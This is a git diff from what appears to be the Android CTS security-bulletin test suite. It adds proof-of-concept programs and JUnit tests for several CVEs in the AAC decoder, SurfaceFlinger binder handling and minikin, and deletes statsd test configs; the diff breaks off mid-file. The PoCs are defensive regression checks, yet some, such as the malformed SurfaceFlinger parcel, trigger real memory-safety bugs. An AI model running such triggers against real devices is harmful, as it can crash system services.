diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..e989f4c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9247",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libMpegTPDec/include/",
+ "external/aac/libMpegTPDec/src/",
+ "external/aac/libSYS/include/",
+ "external/aac/libFDK/include/",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+ transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+ layer);
+ isPocExecutionComplete = true;
+ return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+ real_memcpy = (void *(*)(void *, const void *,
+ size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (!real_memcpy) {
+ return;
+ }
+ s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+ if (!s_memory_copy_initialized) {
+ memory_copy_init();
+ }
+ if (num == length) {
+ char *tmp_destination = (char*) destination;
+ for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+ if (tmp_destination[i] == INITIAL_VAL) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_memcpy(destination, source, num);
+}
+
+int main() {
+ void *sTp = malloc(TRANSPORTDEC_SIZE);
+ if (!sTp) {
+ return EXIT_FAILURE;
+ }
+ char *ptr = (char *) malloc(STACK_SIZE);
+ if (!ptr) {
+ free(sTp);
+ return EXIT_FAILURE;
+ }
+ memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+ memset(ptr, INITIAL_VAL, STACK_SIZE);
+ clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+ int sleepCounter = 0;
+ while (!isPocExecutionComplete) {
+ if (sleepCounter == TIMEOUT_IN_SECONDS) {
+ break;
+ }
+ sleep(1);
+ ++sleepCounter;
+ }
+ free(ptr);
+ free(sTp);
+ return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..13f6fc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0226",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+ sp < IServiceManager > sm = defaultServiceManager();
+ if (!sm) {
+ return EXIT_FAILURE;
+ }
+ String16 name(String16("SurfaceFlinger"));
+ sp < IBinder > service = sm->checkService(name);
+ if (!service) {
+ return EXIT_FAILURE;
+ }
+
+ uint32_t code = 2, flags = 0;
+ Parcel data1, reply1;
+ data1.writeInterfaceToken(service->getInterfaceDescriptor());
+ service->transact(code, data1, &reply1, flags);
+ sp < IBinder > binder = reply1.readStrongBinder();
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+
+ Parcel data2, reply2;
+ data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+ for (uint8_t n = 0; n < kCount; ++n) {
+ data2.writeInt32(1);
+ }
+ data2.setDataPosition(kPosition);
+ data2.writeStrongBinder(binder);
+ binder->transact(code, data2, &reply2, flags);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..066b530
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0451",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ "external/aac/libSBRdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libArithCoding/include",
+ "external/aac/libMpegTPDec/include",
+ "external/aac/libPCMutils/include",
+ "external/aac/libDRCdec/include",
+ "external/aac/libSBRdec/src",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+ public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+ int validateQmfDomainBounds();
+
+ private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[2048 * kMaxChannelCount];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int Codec::validateQmfDomainBounds() {
+ // Check OOB for qmfDomain
+ void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+ HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+ // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+ {
+ void *qmfDomainInChPtr = nullptr;
+ void *qmfDomainOutChPtr = nullptr;
+ int channel = 0;
+ int element = 0;
+ int absChOffset = 0;
+ for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+ if (hSbrDecoder->pSbrElement[element] != NULL) {
+ for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+ ++channel) {
+ qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+ qmfDomainOutChPtr =
+ &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+ if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+ kIsVulnerable = true;
+ }
+ }
+ absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+ }
+ }
+ }
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ std::ifstream file;
+ file.open(argv[1], std::ios::in | std::ios::binary);
+ if (!file.is_open()) {
+ return EXIT_FAILURE;
+ }
+ file.ignore(std::numeric_limits<std::streamsize>::max());
+ std::streamsize length = file.gcount();
+ file.clear();
+ file.seekg(0, std::ios_base::beg);
+ UCHAR *data = new UCHAR[length];
+ file.read(reinterpret_cast<char *>(data), length);
+ file.close();
+
+ Codec codec = Codec();
+ if (codec.initDecoder()) {
+ codec.decodeFrames(data, length);
+ }
+ return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..b79224c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0313",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/minikin/libs/",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+ // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+ // of LayoutSplitterTest.cpp
+ const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+ size_t offset = 0;
+ size_t len = sizeof(testCase) / sizeof(uint16_t);
+ return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+ ? EXIT_VULNERABLE
+ : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+ /**
+ * b/120084106
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2011() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+ /**
+ * b/132650049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2136() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+ /**
+ * b/120426166
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9247() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+ /**
+ * b/150226994
+ * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+ */
+ @SecurityTest(minPatchLevel = "2020-07")
+ @Test
+ public void testPocCVE_2020_0226() throws Exception {
+ String processPatternStrings[] = {"surfaceflinger"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+ /**
+ * b/170968514
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0313() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index aedc7b3..720f579 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -474,6 +474,25 @@
******************************************************************************/
/**
+ * b/158762825
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0451() throws Exception {
+ String inputFiles[] = {"cve_2020_0451.aac"};
+ String binaryName = "CVE-2020-0451";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/112891564
* Vulnerability Behaviour: SIGSEGV in self (Android P),
* SIGABRT in self (Android Q onward)
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
deleted file mode 100644
index 386606b..0000000
--- a/hostsidetests/statsd/Android.bp
+++ /dev/null
@@ -1,43 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
- name: "CtsStatsdHostTestCases",
-
- srcs: ["src/**/*.java"],
-
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
- "mts",
- ],
-
- libs: [
- "compatibility-host-util",
- "cts-tradefed",
- "host-libprotobuf-java-full",
- "platformprotos",
- "tradefed",
- "truth-prebuilt",
- ],
- static_libs: [
- "core_cts_test_resources",
- "perfetto_config-full",
- ],
- data: [
- "**/*.pbtxt",
- ":CtsStatsdApp",
- ],
-}
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
deleted file mode 100644
index 451ad73..0000000
--- a/hostsidetests/statsd/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Statsd host test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="statsd" />
- <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsStatsdHostTestCases.jar" />
- </test>
-
- <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
- <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
- </object>
-</configuration>
diff --git a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
deleted file mode 100644
index 4bad614..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
+++ /dev/null
@@ -1,24 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 98
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
deleted file mode 100644
index 4f13941..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
+++ /dev/null
@@ -1,36 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- dimensions_in_what {
- field: 100
- child {
- field: 1
- },
- child {
- field: 2
- },
- child {
- field: 3
- }
- }
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 100
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
deleted file mode 100644
index 87afb2d..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
+++ /dev/null
@@ -1,40 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- dimensions_in_what {
- field: 99
- child {
- field: 1
- },
- child {
- field: 2
- },
- child {
- field: 3
- }
- }
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 99
- field_value_matcher: {
- eq_int: 1
- field: 4
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
